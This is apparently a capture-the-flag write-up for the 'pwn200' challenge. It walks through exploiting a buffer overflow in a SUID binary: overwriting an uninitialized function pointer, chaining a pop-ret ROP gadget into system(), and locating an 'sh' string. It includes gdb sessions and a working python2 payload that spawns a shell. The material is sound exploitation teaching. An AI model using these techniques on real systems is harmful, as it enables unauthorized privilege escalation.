Be a Robot

  • Solved by: makefu


First of all, this is a post-mortem solution for pwn200 as we failed to finish it within ctf time both because the challenge was offline alot of the time and that we were not experienced enough to find a solution.

The challenge was to elevate privileges on a remote server to a user which was able to read the file $HOME/flag . The folder also contained a file named pwn200 which had suid bit set for the user -> pop a shell by finding a vuln in this program.

Track the Vuln

Running the program looks like this:

$ ./pwn200 
Name: Bob
Age: 10
Goodbye little boy

$ ./pwn200
Name: Khan
Age: -1
[1]    6141 segmentation fault  ./pwn200

When supplying a negative age eax will not be updated in the function atExit and the pointer will stay uninitialized.

failed check in atExit

The fgets which reads the name contains a buffer overflow which allows us to override exactly this pointer.

bof in read_user

Trying it in gdb looks like this:

(gdb) br *0x8048670 # call eax
Breakpoint 1 at 0x8048670
(gdb) r
Starting program: /home/makefu/pwnium/200/pwn200 
warning: Could not load shared library symbols for
Do you need "set solib-search-path" or "set sysroot"?

Breakpoint 1, 0x08048670 in atExit ()
(gdb) disass 
Dump of assembler code for function atExit:
  0x08048660 <+36>:  cmp    DWORD PTR [ebp+0x8],0x0
  0x08048664 <+40>:  jle    0x804866d <atExit+49>
  0x08048666 <+42>:  mov    DWORD PTR [ebp-0xc],0x804860c
  0x0804866d <+49>:  mov    eax,DWORD PTR [ebp-0xc]
=> 0x08048670 <+52>:  call   eax
  0x08048672 <+54>:  leave  
  0x08048673 <+55>:  ret    
End of assembler dump.
(gdb) i r eax
eax            0x41414141 1094795585

Prepare the stack for ROP

We cannot directly execute our name string as both ASLR and NX-Stack are enabled but there is a system call in a unused function called test:

(gdb) disassemble test
Dump of assembler code for function test:
  0x08048694 <+0>: push   ebp
  0x08048695 <+1>: mov    ebp,esp
  0x08048697 <+3>: sub    esp,0x8
  0x0804869a <+6>: sub    esp,0xc
  0x0804869d <+9>: push   0x80487f3
  0x080486a2 <+14>:  call   0x8048430 <system@plt>
  0x080486a7 <+19>:  add    esp,0x10
  0x080486aa <+22>:  leave  
  0x080486ab <+23>:  ret    
End of assembler dump.

Too bad we cannot directly prepare the stack with our provided text to supply a string which then can be executed.

To be clear: we currently only control eip, not the esp. ROP to the rescue!

This is how our stack must look like for a successful exploit:

Address Description
call system <- esp
[command-string] <- esp + 4 (first argument)

We cannot call system directly because after the call as ebp+4 will be pointing to our provided jump address. The ROP gadget i used is a simple 'pop-ret' which can be found with for example msfrop or ROPgadget in conjuction with a system call. POP-RET is at 0x080487a6.

By that we can prepare our input as an argument for the system call. As we have no shell command yet we will used 0x80487f3 - 'echo pwned' for testing.

Follow the Execution Flow

These tables show the stack after each ROP step.

Before call ROP

Address Description
[A*36] BOF Filler
[AAAA] BOF Filler
0x080486a2 esp call system
0x080487f3 "echo hacked"
[BBBB] Filler
0x080487a6 eip pop ebx;ret

After ret from pop-ret ROP Gadget

Address Description
[A*32] BOF Filler
0x08048672 ret addr call-eax
0x080486a2 call system
0x080487f3 esp "echo hacked"
[BBBB] Filler
0x080487a6 pop ebx;ret

After call system

Address Description
[A*32] BOF Filler
0x08048672 ret addr call-eax
0x080486a2 esp ret addr call-system
0x080487f3 parm1 "echo hacked"
[BBBB] Filler
0x080487a6 pop ebx;ret

Quick Sidenote:

  1. call address pushes the return address($eip+sizeof(call)) onto the stack and executes the function at address.
  2. ret pops the return address from the stack and executes the address

The payload generation and testing looks like this:

python2 -c 'print("A"*36+"\xa2\x86\x04\x08"+"\x01\x8c\x04\x08"+"BBBB"+ "\xa6\x87\x04\x08"+"CCCC"+"DDDD"+ "EEE\n" +"-1")'  > in
gdb ./pwn200
(gdb) r < in
Starting program: ./pwn200 < in
Name: Age: [Inferior 1 (process 11968) exited normally]

Find the exec string

We need a string address for system argument which allows us to run whatever commands we want. Due to the fact aslr is enabled hitting our 36 bytes short buffer is kind of unlikely. Using environment variables with " "\*9001 +"/bin/sh" may give us a better chance to guess the address but is still pretty crude.

"sh" which is short and gives us full access may reside in the executable after being loaded in the memory so i gave it a shot with gdb:

(gdb) break main
Breakpoint 1 at 0x8048701A
(gdb) start
(gdb) info proc mappings
process 11324
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
  0x8048000  0x8049000     0x1000        0x0 /home/makefu/pwnium/200/pwn200
  0x8049000  0x804a000     0x1000        0x0 /home/makefu/pwnium/200/pwn200
  0xf7564000 0xf7565000     0x1000        0x0 
  0xf7565000 0xf7720000   0x1bb000        0x0 /usr/lib32/
  0xf7720000 0xf7723000     0x3000   0x1ba000 /usr/lib32/
  0xf7723000 0xf7725000     0x2000   0x1bd000 /usr/lib32/
  0xf7725000 0xf7727000     0x2000        0x0 
  0xf7757000 0xf7759000     0x2000        0x0 
  0xf7759000 0xf775a000     0x1000        0x0 [vdso]
  0xf775a000 0xf777b000    0x21000        0x0 /usr/lib32/
  0xf777b000 0xf777c000     0x1000        0x0 
  0xf777c000 0xf777d000     0x1000    0x21000 /usr/lib32/
  0xf777d000 0xf777e000     0x1000    0x22000 /usr/lib32/
  0xffeba000 0xffedb000    0x21000        0x0 [stack]
(gdb) find 0x08048000, +5000, "sh"
1 pattern found.

Instead of 0x80487f3 we are now using 0x8048c01.

Putting it all together

# first pipe the shellcode, then use stdin
(python2 -c 'print("A"*36+"\xa2\x86\x04\x08"+"\x01\x8c\x04\x08"+"BBBB"+ "\xa6\x87\x04\x08"+"CCCC"+"DDDD"+ "EEE\n" +"-1")'; cat) | ./pwn200
ls /
bin   dev  krebs  media  root  sbin  sys  usr  var
boot  etc  home   lib    mnt   proc  run  tmp


To Team Action Kaktus on ctftime for making a writeup with a nonfunct solution, this made me try hard enough to finish it by myself.

Download the pwn200 binary